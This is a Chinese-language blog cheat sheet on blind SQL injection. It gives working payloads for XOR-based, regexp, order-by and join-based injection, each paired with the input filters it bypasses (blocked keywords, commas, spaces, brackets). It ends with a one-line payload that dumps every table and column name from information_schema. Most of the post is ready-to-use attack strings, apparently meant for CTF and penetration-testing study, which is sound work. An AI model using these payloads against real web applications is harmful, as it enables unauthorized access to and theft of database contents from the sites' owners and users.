Fork me on GitHub

sql盲注总结[长期更新]

XOR注入

  • 基本payload

    1
    2
    3
    admin^(ascii(mid((password)from(i)))>j)^'1'='1'%23
    或者
    admin^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

    ascii函数默认取字符串中第一个字符的ascii码作为输出

  • 使用场景

    • 过滤了关键字:and or
    • 过滤了逗号
    • 过滤了空格

regexp注入

  • 基本payload

    1
    select (select xxxx) regexp '正则'
  • 使用场景

    • 过滤了=in,like

order by 盲注

  • 基本payload

    1
    select * from users where user_id='1' union select 1,2,'a',4,5,6,7 order by 3
  • 使用场景

    • 过滤了列名
    • 过滤了括号
    • 适用于已知该表的列名以及列名位置的注入

join注入

  • payload:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    1' union select * from(select 1)a join (select 2)b %23
    union all
    select * from(
    (select 1)a join(
    select F.[需要查询的字段号] from(
    select * from [需要查询的表有多少个字段就join多少个]
    union
    select * from [需要查询的表] [limit子句]
    )F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
    )b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则]
    )
  • 使用场景:

    • 过滤了逗号、字段名

Other tips

  • 一次性爆所有表名和字段名:

    1
    (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)